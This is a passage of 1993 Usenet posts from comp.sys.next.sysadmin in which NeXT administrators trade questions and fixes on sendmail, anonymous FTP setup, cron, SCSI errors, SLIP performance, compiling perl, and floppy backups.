From: statman@stat.ufl.edu (charles d. kincaid) Newsgroups: comp.sys.next.sysadmin Subject: lone NeXT on a Sun network needs sendmail.cf Date: 21 Feb 1993 18:58:37 GMT Organization: University of Florida College of Engineering Message-ID: <1m8jctINNl1l@bigguy.eng.ufl.edu> THE SALUTATION Hello, THE INTRODUCTION I previously posted this to comp.mail.sendmail, but haven't received a reply. (Maybe I just need to be patient) I thought I would post this here because the situation I'm in might be pretty common with NeXT's. Our department (Statistics, UF) has a network of Sun machines (sorry, I tried. :-) that is running yellowpages. The domain name is stat.ufl.edu. Mail is addressed as statman@stat.ufl.edu. My NeXTstation, NS2.1, is attached to this network, but is not part of the yellowpages setup. My machine name is jackcraval.stat.ufl.edu. (It's a fish. :-) The problem is in getting mail to my account on the NeXT. Since the machine name is stripped off of the address it can't go to a specific machine. A solution that we are using is to alias my IP number with the name apeiron.ufstat.ufl.edu (It's an ancient Greek word). Now mail can go to my machine directly. THE PROBLEM Actually there are two. Mail gets to my machine, but doesn't get to my account and outgoing mail has the return address statman@ufstat.ufl.edu instead of statman@stat.ufl.edu. The reason for this is (obviously ?) the configuration for sendmail. THE IDEAL SOLUTION I would like to have my mailer simply forward all outgoing email to the Sun networks mailer. This will (I hope!) cause the return address to be statman@stat.ufl.edu. Also, I would like my mailer to know who I am on my machine! I have a .forward in my Sun account that sends it to statman@apeiron.stat.ufl.edu and like I said above it gets to the machine (I used mail -v statman@apeiron.ufstat.ufl.edu), but it gets lost from there. THE QUESTION Does anyone have a sendmail.cf file that does what I need it to? May I use it? PLEASE! Pretty Please, with sugar on top, and whipped cream, and a cherry, and a dill pickle? Okay, skip the cherry. :-) Any help, pointers or sendmail.cf files will be greatly appreciated. THE CLOSING Thank you, THE NAME charles d. kincaid THE APOLOGY p.s. Sorry for the weird format. I'm just in one of those kooky moods. :-) THE .SIG ------------------------------------------------------------------------------ Dept. of Statistics 'Damn fine coffee...and hot, too!' statman@stat.ufl.edu
Newsgroups: comp.sys.next.sysadmin From: Paul_Kunz@slac.stanford.edu (Paul Kunz) Subject: Re: Help not implemented in any Apps? Message-ID: <C2tEFC.JuF@unixhub.SLAC.Stanford.EDU> Sender: news@unixhub.SLAC.Stanford.EDU Organization: Stanford Linear Accelerator Center References: <C2nwp3.C7w@usenet.ucs.indiana.edu> Date: Sun, 21 Feb 1993 20:04:23 GMT In article <C2nwp3.C7w@usenet.ucs.indiana.edu> francisr@stupid.ucs.indiana.edu (Rob Francis) writes: > > I don't know why this is. I've upgraded several machines to 3.0 from > 2.1. None of them have the new fancy-dancy help that is suppose to be > great about 3.0. When I go to Info/Help in Workspace or Mail.crap, I > get a panel which reads, "This application doesn not implement > NextStep Help". However, I know people that have 3.0 NextStep help in > both of the afore mentioned apps. > > Has anyone else seen this? > Yes, I've seen it. Seems to be the case for machines that were part of the PreRelease program. Those that only saw the final release have the help implemented. To get the help working, it seems to be sufficient to open the xxx.app/English.lproj directory and copy in the Help directory from a machine were help is working. -- Paul F. Kunz Paul_Kunz@slac.stanford.edu (NeXT mail ok) Stanford Linear Accelerator Center, Stanford University Voice: (415) 926-2884 (NeXT) Fax: (415) 926-3587
Newsgroups: comp.sys.next.bugs,comp.sys.next.software,comp.sys.next.sysadmin From: irving@Happy-Man.com (Irving_Wolfe) Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0) Message-ID: <1993Feb21.170707.13545@Happy-Man.com> Organization: Happy Man Corp., Vashon Island, WA 98070-7399 References: <CEDMAN.93Feb17143757@capitalist.princeton.edu> <110378@netnews.upenn.edu> <CEDMAN.93Feb19183209@capitalist.princeton.edu> Date: Sun, 21 Feb 1993 17:07:07 GMT Just so Carl Edman isn't alone in this, let me add that I've been using zsh since he introduced me to it some months ago, and have made it the standard interactive shell on our systems. I think only one person still uses csh. Try it, you'll like it! Regards, - Irving -- Irving_Wolfe@Happy-Man.com Happy Man Corp. 206/463-9399 x101 4410 SW Pt. Robinson Rd., Vashon Island, WA 98070-7399 fax x108 We publish SOLID VALUE for the intelligent investor. NextMail OK Info free; sample $20. Send POSTAL addrs: Solid-Value@Happy-Man.com
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.programmer From: knelson@milli.cs.umn.edu (Kenneth Nelson) Subject: Please help: SCSI timeout Message-ID: <C2tpp2.16I@news.cis.umn.edu> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Minneapolis, CSci dept. Date: Mon, 22 Feb 1993 00:07:34 GMT Netters, I am trying to backup a NeXT Dimension running NeXTSTEP 2.1 to a SCSI DAT Archive Python Model 4230 using /usr/etc/dump. Approximately 1/2 through the backup, dump crapped out with a tape write error. Further examination of the console revealed: reselect timeout - target 5 st: cmd = 0xa sr_io_status = 5H Which (to me) means dump issued a write command to the device and it timed out. This has happened a couple times and is quite annoying. I have the following questions: 1. Should the time out value be set higher? Browsing /usr/include/nextdev/scsireg.h indicates this could be done using ioctl. If so, any advice on how to do it? 2. Is it reasonable for a SCSI peripheral to be unable to keep up? 3. Has anyone else had this problem? 4. Should I use a different backup app.? The DAT is the only external SCSI device. The NeXT is fully booted, running NeXTSTEP in multi-user mode. However, the root is the only user, the machine is stand-alone, and dump is the only application executing, expect for BackSpace. Please help. Thanks in advance, Ken
Newsgroups: comp.sys.next.bugs,comp.sys.next.software,comp.sys.next.sysadmin From: davisre@sage.cc.purdue.edu (Robert Davis) Subject: Re: A brief comparative study of UN*X shells (was: bug with bash 1.12.1 on NS3.0) Message-ID: <C2ttyB.6Bt@mentor.cc.purdue.edu> Sender: news@mentor.cc.purdue.edu (USENET News) Organization: Purdue University Computing Center References: <110378@netnews.upenn.edu> <CEDMAN.93Feb19183209@capitalist.princeton.edu> <1993Feb21.170707.13545@Happy-Man.com> Date: Mon, 22 Feb 1993 01:39:46 GMT In article <1993Feb21.170707.13545@Happy-Man.com> Irving_Wolfe@Happy-Man.com writes: >Just so Carl Edman isn't alone in this, let me add that I've been >using zsh since he introduced me to it some months ago, and have >made it the standard interactive shell on our systems. I think >only one person still uses csh. > >Try it, you'll like it! I'll add a me-too to that. I've been using zsh for almost a year and a half and it really is great. One thing that I've heard some people (mostly csh/tcsh users) say is that if you don't like csh's programming syntax then you can just use Bourne's shell to program in but use something like tcsh interactively. But I frequently write mini-scripts interactively -- using for and while from the command line -- and it sure is nice to have a shell like zsh that gives you a great interactive environment without compromising the programming syntax. Plus the author has always made an effort to make it easy to compile on a NeXT. Many months ago there was a document at convex.com about why csh syntax is not very good to program in -- if it's still there, check it out. Rob -- | Robert Davis davis@sonata.cc.purdue.edu | "Look up, Hannah. Look up." NeXT Mail accepted --
Newsgroups: comp.sys.next.sysadmin From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) Subject: Q: Setting up FTP site Message-ID: <1993Feb22.050837.3489@magnus.acs.ohio-state.edu> Sender: news@magnus.acs.ohio-state.edu Organization: The Ohio State University Date: Mon, 22 Feb 1993 05:08:37 GMT What's the easiest way to set up an ftp site for a large group of people that would be ftp'ing in from all over the place? Would it be more feasable to just set up an anon ftp site instead of trying to restrict access? Either way, I've got no clue how to set either of the above up. Any help would be appreciated. ::::::::Apple II forever!!:::::::GO BUCKS!::::::::Play Lacrosse!!:::::::::: : Shane M. Zatezalo : i-net> szatezal@magnus.acs.ohio-state.edu : : CIS Eng Ohio State : NeXTMail> shane@kiwi.swhs.ohio-state.edu : :GS::: call T.A.P. a Futurenet BBS 614-297-7031 16.8k DS HST 425 MEGS ::GS:
Newsgroups: comp.sys.next.sysadmin From: lemson@ux1.cso.uiuc.edu (David Lemson) Subject: Re: CSLIP vs. SLIP.... Message-ID: <C2u5E6.FvD@ux1.cso.uiuc.edu> Organization: University of Illinois at Urbana References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> <dillon.0uvp@overload.Berkeley.CA.US> <CEDMAN.93Feb20091958@capitalist.princeton.edu> Date: Mon, 22 Feb 1993 05:46:39 GMT cedman@princeton.edu (Carl Edman) writes: >In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes: > The only real difference is with small packets --- i.e., typing. If > you are satisfied with the echo-response of your typing over SLIP then > you do not really need CSLIP. >That's true, but then again if you are satisfied with the interactive >performance of SLIP, you must be running SLIP over Ethernet. :-) I am truly satisfied with the interactive performance of my SLIP over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet connected via ethernet or a Mac running NCSA Telnet connected via Ethernet. It's as fast as I need, even as I type this message using vi. Of course, I wish binary file transfers went faster, but CSLIP won't help this much. Could it be that those packet headers are being compressed by v.42bis a whole bunch, and that's what causing my fairly good speed? -- David Lemson (217) 244-1205 University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
From: eilts@late.e-technik.uni-erlangen.de (Hinrich Eilts) Newsgroups: comp.sys.next.sysadmin Subject: Re: Q: Setting up FTP site Date: Mon, 22 Feb 1993 12:54:01 GMT Organization: LATE, Uni-Erlangen, Germany Message-ID: <1maid9E8ou@uni-erlangen.de> References: <1993Feb22.050837.3489@magnus.acs.ohio-state.edu> How to build an anonymous-ftp-site: 1) make a user-account for user ftp, password *, home /users/ftp, login-shell /bin/false (my /etc/passwd - entry is: ftp:*:21:23:anonymous:/users/ftp:/bin/false) 2) create in /user/ftp the directories pub etc bin d--x--x--x 2 root 1024 Nov 18 12:38 bin/ d--x--x--x 2 root 1024 Nov 18 12:57 etc/ dr-xr-xr-x 7 ftp 1024 Dec 12 15:27 pub/ 3) make a hard-link in bin ---x--x--x 1 root 106496 Oct 22 1990 ls 4) and put copies of /etc/group and /etc/passwd in etc -r--r--r-- 1 root 24 Nov 18 12:57 group -r--r--r-- 1 root 75 Nov 18 12:43 passwd Replace all coded passwords in passwd by * You can even delete all entrys in group and passwd not used in /users/ftp/* Now, if somebody use anonymous-ftp a chroot happens to /users/ftp, i.e. "/users/ftp" seems as "/" to him. So /users/ftp/bin/ls looks like /bin/ls for him and he want it for "ls" and "dir". Se same happens with /users/ftp/etc/*, to get user- and groupnames in dir, he wants the copies of group and passwd, but for safety replace the passwords by an asterik and all superfluous entrys, "ftp" and "root" may suffice together with its groups. In pub you can install the ordinary directories, e.g. a submissions - directory read/writeable by all for incoming stuff and directories only readable by all for outgoing stuff, as usuall. -- Bye | G i b D O S | Hinrich Eilts | k e i n e | (e-mail: eilts@late.e-technik.uni-erlangen.de) | C h a n c e ! |
Newsgroups: comp.sys.next.sysadmin From: kelley@kiwi.ATMOS.ColoState.Edu (Kelley Wittmeyer) Subject: SUMMARY: crontab and cron problems Sender: news@yuma.ACNS.ColoState.EDU (News Account) Message-ID: <Feb22.155235.98774@yuma.ACNS.ColoState.EDU> Date: Mon, 22 Feb 1993 15:52:35 GMT Organization: Colorado State University, Fort Collins, CO 80523 Keywords: cron crontab summary thank you to all who responded to my post. PROBLEM: > i execute about 9 of my own scripts from cron, the > entries, of course, being in /etc/crontab. > > the latest 5 i added are not being run, i have noticed. > > i can run them myself from the command line so they are > not erroring out. i cannot find any messages to why they > are not run. SOLUTION: i moved all of my entries in /etc/crontab to /etc/crontab.local. things started working. i believe reimer mellin has the answer to why this worked: >There is a bug in cron having either to much or one to few newlines >in the crontab file. This triggers exactly the behaviour you decribe >namely the non-execution of the last entry. other things that can cause cron problems: o not specifying the full path of the executable in the entry. o the last line of crontab must end with a newline character. therefore, vi presents no problem, Edit.app does. o extra spaces at the end of crontab entries causes a problem.
Newsgroups: comp.sys.next.misc,comp.sys.next.sysadmin From: wherndon@smiley.mitre.org (William Herndon) Subject: NetBoot client refuses user logins Message-ID: <1993Feb22.161213.13087@linus.mitre.org> Sender: news@linus.mitre.org (News Service) Organization: The MITRE Corporation, McLean, VA Date: Mon, 22 Feb 1993 16:12:13 GMT OK all you NeXT sysadmin gurus: I've got a problem that probably has a simple solution, but I can't seem to find it. I have an 030 cube that is acting as a NetBoot client off of an 040 station. I've done all of the usual setup, including: - Creating and exporting /clients/<cubename> (read/write/root) to the the cube. - Exporting / to the cube (read-only) - Identifying the cube and the station in the NetInfo database. - Identifying the necessary user accounts as "network". OK, so the cube loads and boots NeXTStep and mach with a couple of error messages that don't seem to inhibit startup and login. ( One seems to have to do with linking to, or linking, the "kern_loader". The other says something about giving up on the station's hostname, about it not being in the database. ) Anyway, the cube DOES come up, and I can log in as root or as "me". However, logging in under any of network user accounts fails. ( The workspace acts as if I'd en- tered an incorrect password. ) What might be the problem? Does it have to do with exporting the network user's home directories via NFS, or perhaps making them available through NetInfo? I'm stumped and any help would be appreciated. Thanks much. - Max | William R. Herndon \ The MITRE Corporation, Dept. G023 | | EMail: wherndon@smiley.mitre.org \ Secure Information Technology | | NeXTMail: bill@mephisto.gotham.com \ MS-Z231, 703.883.6393 | | | | "The world bores you when you're cool." - Calvin |
Newsgroups: comp.sys.next.sysadmin From: cedman@princeton.edu (Carl Edman) Subject: Re: CSLIP vs. SLIP.... In-Reply-To: lemson@ux1.cso.uiuc.edu's message of Mon, 22 Feb 1993 05:46:39 GMT To: lemson@ux1.cso.uiuc.edu (David Lemson) Message-ID: <CEDMAN.93Feb22075949@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <1l9e9rINNc7k@usenet.INS.CWRU.Edu> <dillon.0uvp@overload.Berkeley.CA.US> <CEDMAN.93Feb20091958@capitalist.princeton.edu> <C2u5E6.FvD@ux1.cso.uiuc.edu> Date: Mon, 22 Feb 1993 11:59:49 GMT In article <C2u5E6.FvD@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: >In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes: > The only real difference is with small packets --- i.e., typing. If > you are satisfied with the echo-response of your typing over SLIP > then you do not really need CSLIP. >That's true, but then again if you are satisfied with the interactive >performance of SLIP, you must be running SLIP over Ethernet. :-) I am truly satisfied with the interactive performance of my SLIP over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet connected via ethernet or a Mac running NCSA Telnet connected via Ethernet. It's as fast as I need, even as I type this message using vi. Of course, I wish binary file transfers went faster, but CSLIP won't help this much. Could it be that those packet headers are being compressed by v.42bis a whole bunch, and that's what causing my fairly good speed? As it so happens I wrote a short note to Matthew Dillon on this subject a few minutes ago. Here is the text. Forgive me, but I disagree. I run SLIP over a pair of V32.bis V42.bis modems (ie. 14,400 bps with LAP/M) with the serial ports configured to 38,400 bps and interactive performance is barely as good as a direct connection at 2400 bps (except, that is for lengthy output -- a 'ls' of a long directory is of course much faster). If you look at the VJ TCP header compression used by CSLIP you find that most of the schemes used for compression actually are reasonably clever in a way in which the LZW derivative which LAP/M uses couldn't be. For example, the default packet number for each header is the old packet number + 1. None of the standard compression algorithms I know of, would be clever enough to detect that pattern and compress it away. Carl Edman
From: robert@steffi.demon.co.uk (Robert David Nicholson) Newsgroups: comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.sysadmin Subject: Public Key Encryption and Mail.app Date: 22 Feb 1993 17:38:10 -0000 Organization: me organized? That's a joke! Distribution: world Message-ID: <1mb322$55p@steffi.demon.co.uk> For those people wanting Public Key Encryption in Mail.app or any other app couldn't one achieve this by writing a service. Something like. A service communicates with a repository using Distributed objects to allow the passing of a public key and then simply using the senders private key to do the other bit. The service could simply scan the article for the senders id and map that to their public key. Not knowing all that much about public key encryption (I only did a 10 minute talk on it once for a class,2 years ago) is this possible? I think it would be a productive and educational exercise for Distributed objects for sure. If somebody mails me the spec for Public Key encryption (No libraries near by im afraid) I will take a crack at this. Cheers.
From: penney@cl-next4.cl.msu.edu (Chris Penney) Newsgroups: comp.sys.next.sysadmin Subject: External HD's Date: 22 Feb 1993 23:25:03 GMT Organization: Michigan State University Message-ID: <1mbncf$naq@msuinfo.cl.msu.edu> Looking for a good External Hard Drive in the range of 200 - 500 megs. Any input is appreciated... by mail please. Chris Penney penney@cl-next4.cl.msu.edu
Newsgroups: comp.sys.next.sysadmin From: jcorallo@ccsi.com (P. John Corallo) Subject: Re: NFS exporting external disk problems Message-ID: <1993Feb22.163213.367@ccsi.com> Sender: jcorallo@ccsi.com Organization: Crystal Computer Systems, Inc. References: <1m6o59INN76n@shelley.u.washington.edu> Date: Mon, 22 Feb 1993 16:32:13 GMT In article <1m6o59INN76n@shelley.u.washington.edu> basiji@stein.u.washington.edu (David Basiji) writes: > > Greetings. We have a simple Netinfo network (is netinfo ever simple?) > and we want to NFS export an external drive on one of the servers. > We've entered it into the database via NSF manager along with two directories > from the server's internal drive. At first, everything was fine. Then, > we chown'd and chmod'ed some file on the external drive and now it won't > export. Funny thing is, if I manually "exportfs -a", all is well. > We've tried everything, including editing of the Netinfo database to delete > and recreate the server's "exports" directory entry for this drive but > still no go. > It is possible that the external disk is not mounting automatically. Try logging in on the server and if the disk icon shows up on the doc then you know that it is mounting as a removable drive. Or try exporting and mounting while leaving the console logged in on the NFS server. If it work,s log out and see if the NFS drive fails. If that is the case, you may have to put an entry in /etc/fstab for the external disk. If that does not work, try putting the mount command in /etc/rc to do the mount manually at boot up. -John Corallo
Newsgroups: comp.sys.next.programmer,comp.sys.next.sysadmin Subject: REQUEST ASSISTANCE with NXStringTable: parse error Message-ID: <1993Feb22.164612.25344@latcs1.lat.oz.au> From: nicolek@latcs2.lat.oz.au (Nicole KAIYAN) Date: Mon, 22 Feb 1993 16:46:12 GMT Sender: news@latcs1.lat.oz.au (news) Followup-To: comp.sys.next.admin Organization: Comp Sci, La Trobe Uni, Australia Keywords: NeXTSTEP Summary: NXStringTable: parse error In the spirit of the Internet I am asking for some assistance with a recent problem that is beginning to crash Workspace Manager. The console is reporting a number of errors of the sort below and I would greatly appreciate a wiser soul explaining what has happened and how to fix this fault. Console window dump as follows from boot-up: Software Version 3.0 (Hyper3B) Feb 23 03:15:00 number_one BackSpace[201]:NXStringTable:parse error before '^D' Feb 23 03:15:01 number_one last message repeated 10 times Feb 23 03:15:04 number_one WM[199]: NXStringTable: parse error before '^D' Feb 23 03:15:04 number_one last message repeated 8 times Then after a few launches of applications the console has these added: Feb 23 03:19:51 number_one Edit[216]: NXStringTable: parse error before '^D' Feb 23 03:19:51 number_one last message repeated 17 times Feb 23 03:21:04 number_one WM[199]: NXStringTable: parse error before '^D' Feb 23 03:30:05 number_one Stuart[219]: NXStringTable: parse error before '^D' Feb 23 03:30:05 number_one last message repeated 17 times Thank you kindly in advance. Nicole --------------------------------- ------------------------------------- | Nicole Kaiyan | Email: nicolek@latcs1.lat.oz.au | | Computer Science Department | | | La Trobe University | NeXTmail welcome | | Melbourne 3083 | | | AUSTRALIA | | --------------------------------- -------------------------------------
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc From: Christian.Andretzky@TU-Chemnitz.DE (Christian Andretzky) Subject: Re: Help Compiling Perl Message-ID: <1993Feb23.052530.25822@mb3.tu-chemnitz.de> Sender: inews@mb3.tu-chemnitz.de (Internet news) Organization: University of Technology Chemnitz, FRG References: <1m625h$5ad@steffi.demon.co.uk> Date: Tue, 23 Feb 1993 05:25:30 GMT In article <1m625h$5ad@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert David Nicholson) writes: > Jon Vestal (jonv@ptnext.claremont.edu) wrote: > : Hi, > > : Can someone help me compile perl on a NeXT running NS 3.0. Everything > : seems to work except for the getgrgid. I've tryed compiling several ways > : using the builtin perl setgid and the C setgid. I thinks it is probably a > : problem with the type of int returned by getuid and getgid. Any help > : would be appreciated. > > : Jon Vestal > : Systems Technician > : Pitzer College > : jonv@ptnext.claremont.edu > > Everybody, this is the 3rd time I have had to answer this question in as many > weeks. Nathan, how about an FAQ on this. > > To compile perl patchlevel 35 under NS3.0 some modifications to the Configure > script are necessary. > > This is because Configure checks for the existance of certain include files and these determine which perl routines will actually be compiled into the binary via #ifdefs. > > Note: "make test" only detects that the getuid routines are there while infact the passwd routines are also not compiled. > > To successfully compile perl properly apply these changes to the Configure script. > > Look for the line > > if $test -r $usrinclude/pwd.h ; then > > change it to > > if $test -r $usrinclude/bsd/pwd.h ; then > > AND > > if $test -r $usrinclude/grp.h ; then > > change it to > > if $test -r $usrinclude/bsd/grp.h ; then > > Good luck. O.K. this works for me but I can see at least 3 other problems compiling perl 4.35 or 4.36 with NS 3.0: - the O_* (O_RDONLY ...) constants could not be found. I got the following message from Configure. | ... |ndbm.h found. | |dbm.h found. | |Looks like you have Berkeley networking support. | |I can't find the O_* constant definitions! You got problems. | |pwd.h found. | ... - if I run make I get the following errors/warnings: ... tdoio.c: In function `do_open': tdoio.c:294: warning: incompatible pointer type for argument 2 of `getsockname' tdoio.c: In function `do_bind': tdoio.c:1451: warning: incompatible pointer type for argument 2 of `bind' tdoio.c: In function `do_connect': tdoio.c:1482: warning: incompatible pointer type for argument 2 of `connect' tdoio.c: In function `do_getsockname': tdoio.c:1673: warning: incompatible pointer type for argument 2 of `getsockname' tdoio.c:1677: warning: incompatible pointer type for argument 2 of `getpeername' ... - if I try to 'make test' all seems to b OK except one warning/error: ... comp/cmdopt....ok comp/cpp.......:10: unterminated string or character constant ok comp/decl......ok ... Can I ignore this messages or are there some things to do. Thanx in advance for any help/suggestions Cheers, Christian -- Name: Christian Andretzky | Address: Technische Universitaet Chemnitz | Phone: +49 371 561 2130 | Fachbereich Maschinenbau III | FAX: +49 371 561 2413 | Reichenhainer Str. 70 | mail: Christian.Andretzky@TU-Chemnitz.DE D-O-9022 Chemnitz |
From: hardy@golem.ps.uci.edu (Meinhard E. Mayer (Hardy)) Subject: How does one back up to multiple floppies with gnutar? Message-ID: <HARDY.93Feb22232252@golem.ps.uci.edu> Newsgroups: comp.sys.next.sysadmin Organization: Department of Physics, UC Irvine, CA 92717-4575, USA Date: 23 Feb 93 07:21:11 GMT Could soemone educate me on the use of gnutar to backup to multiple floppies? I tried, e.g., asroot gnutar -cvMf /dev/rfd0b /hardy and got about 2.5 floppies worth of tarring, when the system panicked and rebooted. Here is what I found in messages: Feb 22 21:58:16 Weyl mach: /Backup.1: file system full Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28. Feb 22 21:58:16 Weyl mach: vnode_pageout: failed! Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28. Feb 22 21:58:16 Weyl mach: vnode_pageout: failed! Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28. Feb 22 21:58:16 Weyl mach: vnode_pageout: failed! Feb 22 21:58:16 Weyl mach: IO error on pageout: error = 28. Feb 22 21:58:16 Weyl mach: vnode_pageout: failed! Feb 22 22:05:20 Weyl mach: Disk Label: Backup.2 Feb 22 22:05:20 Weyl mach: Disk Capacity 2880 KB, Device Block 512 bytes Feb 22 22:08:45 Weyl mach: /Backup.2: bad dir ino 2 at offset 0: mangled entry Feb 22 22:08:46 Weyl mach: /Backup.2: out of inodes Feb 22 22:10:59 Weyl mach: /Backup.3: bad dir ino 2 at offset 0: mangled entry Feb 22 22:15:22 Weyl mach: mode = 041220, inum = 5, fs = /Backup.3 Feb 22 22:15:22 Weyl mach: panic: (Cpu 0) ialloc: dup alloc Feb 22 22:15:22 Weyl mach: NeXT ROM Monitor 2.2 v63 Feb 22 22:15:22 Weyl mach: panic: NeXT Mach 3.0: Wed Jul 29 19:43:28 PDT 1992; root(rcbuilder):mk-127.15/BUILD/RELEASE_M68K Feb 22 22:15:22 Weyl mach: Feb 22 22:15:22 Weyl mach: Killing all processes <159>dutclose line xbe0 Feb 22 22:15:22 Weyl mach: ...rebooting Mach... Am I right to assume that the floppy (from which I had removed previously stored files) had a bad file system, and shoudl I try again with reformatted disks? I had tried before using "Squash" but that failed due to "floppy disk active" (when it wasn't). Any advice welcome. Thanks -- Hardy ----- Meinhard E. Mayer, Department of Physics, UC Irvine e-mail: hardy@golem.ps.uci.edu (preferred) or MMAYER@UCI.BITNET !!!! NO NEXTMAIL TO THESE ADDRESSES, PLEASE !!!!!
From: disc@vector.intercon.com (David Casti) Newsgroups: alt.wais,comp.infosystems.wais,comp.sys.next.sysadmin,comp.sys.next.misc,comp.sys.next.programmer Subject: wais Date: 23 Feb 1993 17:08:09 GMT Organization: InterCon Systems Corporation Distribution: world Message-ID: <1mdllpINNqvb@intercon.intercon.com> Hi, I can't seem to get wais compiled on my NeXT... I've set the compiler options to -O -ansi since the README file says the wais code is in ansi C. I found the cool NeXTy window interface already compiled, but I want to run swais, waissearch, and the wais server. Any help would be greatly appreciated. Thanks, David.
From: disc@vector.intercon.com (David Casti) Newsgroups: comp.sys.next.sysadmin Subject: Top Date: 23 Feb 1993 17:04:48 GMT Organization: InterCon Systems Corporation Distribution: world Message-ID: <1mdlfgINNqt4@intercon.intercon.com> Hi, I posted a message here a while ago asking if anyone had top running. Bryce Jasmer emailed me a copy of top that runs just fine, so if anyone needs it, it can be anonymous FTP'd from vector.intercon.com in /pub/next/top You will have to chmod u+s top when you get it. David. ============================================================================= David Casti Internet: disc@vector.intercon.com Technical Support Engineer InterCon Systems Corporation Phone: (703) 709-5554 950 Herndon Parkway, Suite 420 FAX: (703) 709-5555 Herndon, Virginia 22070 ============================================================================= No official InterCon correspondence will ever have vector.intercon.com as the return address. =============================================================================
From: support@gateway.vvi.com (support at VVI) Newsgroups: comp.sys.next.sysadmin Subject: trn with INN Date: 23 Feb 1993 17:45:44 GMT Organization: VVimaging, Inc. Distribution: world Message-ID: <1mdns8$28k@gateway.vvi.com> Keywords: trn, INN Has anyone gotten trn with INN working on the NeXT? Is there a version of TRN that supports INN? Thank you kindly in advance, Ed VanVliet ed@vvi.com
From: eboltz@jhunix.hcf.jhu.edu (Eric Scott Boltz) Newsgroups: comp.sys.next.sysadmin,comp.sys.next.hardware Subject: SCSI Errors - Plea for help! Date: 23 Feb 1993 13:30:04 -0500 Organization: Homewood Academic Computing, Johns Hopkins University, Baltimore, Md, USA Distribution: world Message-ID: <1mdqfcINN251@jhunix.hcf.jhu.edu> HELP! Seems as if I'm having some Major! SCSI troubles. I have a Fujitsu 2652SA hard disk mounted externally as sd1 and am getting the following on the console: sd1 (4,0): ERROR op:0x28 sd_state:2 scsi_status:0x0 IO error on pageout: error=5 vnode_pageout:failed! When this happens, directories and files on the disk start disappearing and the whole system eventually has to be rebooted. This is a relatively new problem (couple days) and I've had the disk up and running just fine since December '92. If anyone has any ideas please send them! THANKS! Eric --- ------------------------------------------------------------------------------- Eric S. Boltz, M.S.E. *eboltz@nist.gov* Materials Research Engineer eboltz@jhunix.hcf.jhu.edu (Ultrasonics & Materials Characterization) eboltz@cndenext.mrs.jhu.edu Materials Reliability Division eboltz@jhuvms.BITNET National Institute of Standards and Technology eboltz@tiber.nist.gov 325 S. Broadway eboltz@granta.nist.gov Boulder, CO 80303 (NeXTMail accepted) (Ph.D. Candidate, Materials Science and Engineering, Johns Hopkins University) ------------------------------------------------------------------------------- My views, opinions and statements in no way reflect those of the U.S. Gov't, the U.S. Department of Commerce or NIST.
From: erik@turtle.psych.umn.edu (Erik Arthur) Newsgroups: comp.sys.next.sysadmin Subject: nn /nntp with NS 3.0 Keywords: nn Message-ID: <C2x20s.5Jt@news.cis.umn.edu> Date: 23 Feb 93 19:26:35 GMT Article-I.D.: news.C2x20s.5Jt References: <1mdns8$28k@gateway.vvi.com> Sender: news@news.cis.umn.edu (Usenet News Administration) Organization: University of Minnesota, Minneapolis Hi, I think that I am having a problem with nn running as an nntp client. I got nn compiled and it runs fine, but the /usr/spool/nn/DATA directory keeps growing. It is now 24 megs. I compiled nn with the nntp switch on and nnadmin says that nntp is running but I can't help thinking that the size of the news indices are way too big. Does anyone have a feel for how big the DATA directory should be with ~5000 groups? Thanks for the help in advance Erik Arthur erik@turtle.psych.umn.edu
From: eoliver@ralph.cs.haverford.edu (Erik Oliver) Newsgroups: comp.sys.next.sysadmin Subject: Re: trn with INN Date: 23 Feb 1993 19:39:38 GMT Organization: Haverford College Computer Science Department Distribution: world Message-ID: <1mduhq$l2h@venus.haverford.edu> References: <1mdns8$28k@gateway.vvi.com> Keywords: trn, INN In article <1mdns8$28k@gateway.vvi.com> support@gateway.vvi.com (support at VVI) writes: >Has anyone gotten trn with INN working on the NeXT? Is there a version of >TRN that supports INN? > >Thank you kindly in advance, >Ed VanVliet >ed@vvi.com As to trn on on the NeXT, we downloaded a pre-compiled version from purdue I believe which is working with an INN 1.3 server on a SUN. No problems to date, and I did _not_ compile INN 1.3 to support trn, e.g. I did not follow the instructions in the INN docs to fix a header file. -Erik
From: toon@moene.indiv.nluug.nl (Toon Moene) Newsgroups: comp.sys.next.sysadmin Subject: Re: CSLIP vs. SLIP.... Message-ID: <429@moene.indiv.nluug.nl> Date: 23 Feb 93 20:45:16 GMT References: <CEDMAN.93Feb22075949@capitalist.princeton.edu> Sender: toon@moene.indiv.nluug.nl Organization: Moene Computational Physics, Amsterdam, The Netherlands In article <CEDMAN.93Feb22075949@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: : In article <C2u5E6.FvD@ux1.cso.uiuc.edu> lemson@ux1.cso.uiuc.edu (David Lemson) writes: : >In article <dillon.0uvp@overload.Berkeley.CA.US> dillon@overload.Berkeley.CA.US (Matthew Dillon) writes: : > The only real difference is with small packets --- i.e., typing. If : > you are satisfied with the echo-response of your typing over SLIP : > then you do not really need CSLIP. : : >That's true, but then again if you are satisfied with the interactive : >performance of SLIP, you must be running SLIP over Ethernet. :-) : : I am truly satisfied with the interactive performance of my SLIP : over v.32bis/v.42bis. It is as fast as a 8088 PC running NCSA Telnet : connected via ethernet or a Mac running NCSA Telnet connected via : Ethernet. It's as fast as I need, even as I type this message using : vi. Of course, I wish binary file transfers 